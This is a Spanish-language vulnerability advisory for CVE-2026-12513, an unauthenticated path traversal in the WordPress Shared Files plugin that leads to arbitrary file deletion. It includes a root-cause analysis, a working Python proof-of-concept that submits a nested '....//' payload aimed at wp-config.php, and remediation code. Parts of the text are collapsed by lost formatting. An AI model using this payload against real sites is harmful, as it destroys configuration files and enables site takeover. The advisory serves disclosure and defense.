
Aviso técnico y prueba de concepto para CVE-2026-12513, una eliminación arbitraria de archivos sin autenticación mediante path traversal en el plugin Shared Files de WordPress, incluyendo análisis de causa raíz y guía de remediación.
CVE-2026-12513 es una vulnerabilidad de Eliminación Arbitraria de Archivos no autenticada mediante Path Traversal que afecta a los plugins de WordPress Shared Files y Shared Files Pro antes de la versión 1.7.68, descubierta y analizada por el investigador de ciberseguridad Huynh Kien Minh (MinhHK). La falla ocurre dentro de las rutinas de procesamiento de envío de archivos del frontend del plugin, donde las rutas de archivo proporcionadas por el usuario se filtran mediante un reemplazo de patrón de traversal de una sola pasada defectuoso que puede ser evadido usando secuencias anidadas (como ). En consecuencia, un atacante remoto no autenticado puede enviar una ruta manipulada que apunte fuera del directorio de subidas previsto para atacar activos críticos del servidor, incluido . Cuando un administrador posteriormente purga o elimina permanentemente la entrada subida, la aplicación invoca primitivas de eliminación del sistema de archivos () contra la ruta arbitraria almacenada. Esto resulta en la destrucción de los archivos de configuración principales de WordPress, lo que desencadena una Denegación de Servicio severa y permite la toma del sitio mediante la instalación no configurada. El investigador principal Huynh Kien Minh evaluó esta vulnerabilidad con una puntuación CVSS 3.1 de 6.8 Media (CWE-73 / CWE-22), recomendando actualizaciones inmediatas del plugin a la versión 1.7.68 o posterior y una validación robusta de rutas canónicas.
....//wp-config.phpunlink()Enlaces rápidos: Explora el Portafolio de Ciberseguridad oficial del investigador o revisa el Aviso Verificado de WPScan.
| Parámetro | Especificación Técnica |
|---|---|
| Identificador de Vulnerabilidad | CVE-2026-12513 |
| Software Afectado | Shared Files / Shared Files Pro (Plugins de WordPress) |
| Slugs del Plugin | shared-files, shared-files-pro |
| Versiones Vulnerables | < 1.7.68 |
| Versión Parcheada | >= 1.7.68 |
| Clase de Vulnerabilidad | Control Externo del Nombre o Ruta de Archivo / Path Traversal (CWE-73 / CWE-22) |
| Puntuación CVSS v3.1 | 6.8 (Media) (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:H) |
| Descubridor / Investigador | Huynh Kien Minh (MinhHK) |
| Autoridad de Verificación | WPScan / MITRE Corporation |
| Referencia del Aviso WPScan | Informe WPScan 25c9fa21-c48b-4333-8abc-87230dc4c869 |
| Portafolio del Investigador | https://minhhk.web.app/ |
La vulnerabilidad tiene su origen en un mecanismo inadecuado de saneamiento de rutas implementado en los manejadores de envío de archivos del frontend en Shared Files (< 1.7.68).
Al aceptar envíos de archivos del frontend, el plugin intentaba eliminar las secuencias de traversal de directorio (../) usando un reemplazo de cadena de una sola pasada:
// Filtro de saneamiento inseguro de una sola pasada en Shared Files < 1.7.68
$file_path = str_replace( '../', '', $_POST['file_path'] );
Debido a que str_replace() se ejecuta solo una vez de izquierda a derecha:
....//....//....//wp-config.php../ se elimina una vez de ....//, los caracteres externos colapsan de nuevo para formar ../:
....// -> ../../../../../wp-config.php!wp_posts o en una tabla personalizada del plugin)./wp-admin/admin.php?page=shared-files, el backend llama a unlink() sobre la ruta almacenada resuelta:// Lógica de eliminación vulnerable
$file_to_delete = WP_CONTENT_DIR . '/uploads/shared-files/' . $stored_file_path;
if ( file_exists( $file_to_delete ) ) {
unlink( $file_to_delete ); // Dispara la eliminación del archivo objetivo (por ejemplo, /var/www/html/wp-config.php)
}
wp-config.php:
/wp-admin/install.php).Descargo Ético: Esta Prueba de Concepto se proporciona estrictamente para investigación educativa, validación defensiva y auditoría de seguridad bajo protocolos de divulgación ética por Huynh Kien Minh.
poc_cve_2026_12513.py)#!/usr/bin/env python3
"""
CVE-2026-12513: Shared Files < 1.7.68 Unauthenticated Path Traversal File Deletion PoC
Author: Huynh Kien Minh (MinhHK) - https://minhhk.web.app/
"""
import requests
import sys
TARGET_URL = "http://target-wordpress.local"
UPLOAD_ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php"
def trigger_traversal_payload(target_url, target_file="../../../../wp-config.php"):
print(f"[*] Auditing Target: {target_url}")
# Nested traversal sequence bypassing single-pass str_replace('../', '', $input)
nested_traversal = "....//....//....//....//" + target_file.lstrip("/")
payload = {
"action": "shared_files_frontend_upload",
"file_name": "innocent_document.pdf",
"file_path": nested_traversal
}
headers = {
"User-Agent": "Mozilla/5.0 (Security Audit; CVE-2026-12513 Verification; Huynh Kien Minh)"
}
try:
response = requests.post(UPLOAD_ENDPOINT, data=payload, headers=headers, timeout=10)
print(f"[*] Submission Response Status: {response.status_code}")
if response.status_code == 200:
print("[+] Traversal path successfully injected into database storage.")
print("[!] When the entry is deleted by admin, the target file will be unlinked.")
return True
else:
print(f"[-] Request failed with HTTP status: {response.status_code}")
except requests.RequestException as e:
print(f"[-] Connection failed: {e}")
return False
if __name__ == "__main__":
url = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL
trigger_traversal_payload(url)
1.7.68 o superior.wp-config.php sean de solo lectura (chmod 400 o 440) para el proceso del servidor web.Aplica una resolución estricta de rutas canónicas usando realpath() y wp_normalize_path() para garantizar que las operaciones permanezcan dentro del límite designado de subidas:
// Patrón Seguro de Validación de Rutas (Versión 1.7.68+)
function shared_files_safe_delete( $relative_path ) {
$base_dir = wp_normalize_path( WP_CONTENT_DIR . '/uploads/shared-files/' );
$target = wp_normalize_path( realpath( $base_dir . $relative_path ) );
// Asegura que la ruta real resuelta comience estrictamente con el directorio base designado
if ( false === $target || 0 !== strpos( $target, $base_dir ) ) {
wp_die( __( 'Invalid or unauthorized file path.', 'shared-files' ), 403 );
}
if ( file_exists( $target ) && is_file( $target ) ) {
unlink( $target );
}
}
Huynh Kien Minh (MinhHK) es un Investigador de Seguridad de la Información especializado en investigación de vulnerabilidades de WordPress, auditorías de seguridad del núcleo y plugins, y modelado defensivo de exploits.
{
"@context": "https://schema.org",
"@type": "TechArticle",
"headline": "CVE-2026-12513: Shared Files < 1.7.68 Unauthenticated Arbitrary File Deletion via Path Traversal",
"author": {
"@type": "Person",
"name": "Huynh Kien Minh",
"url": "https://minhhk.web.app/"
},
"datePublished": "2026-08-30",
"description": "Technical advisory by Huynh Kien Minh analyzing CVE-2026-12513 in Shared Files WordPress plugin.",
"identifier": "CVE-2026-12513"
}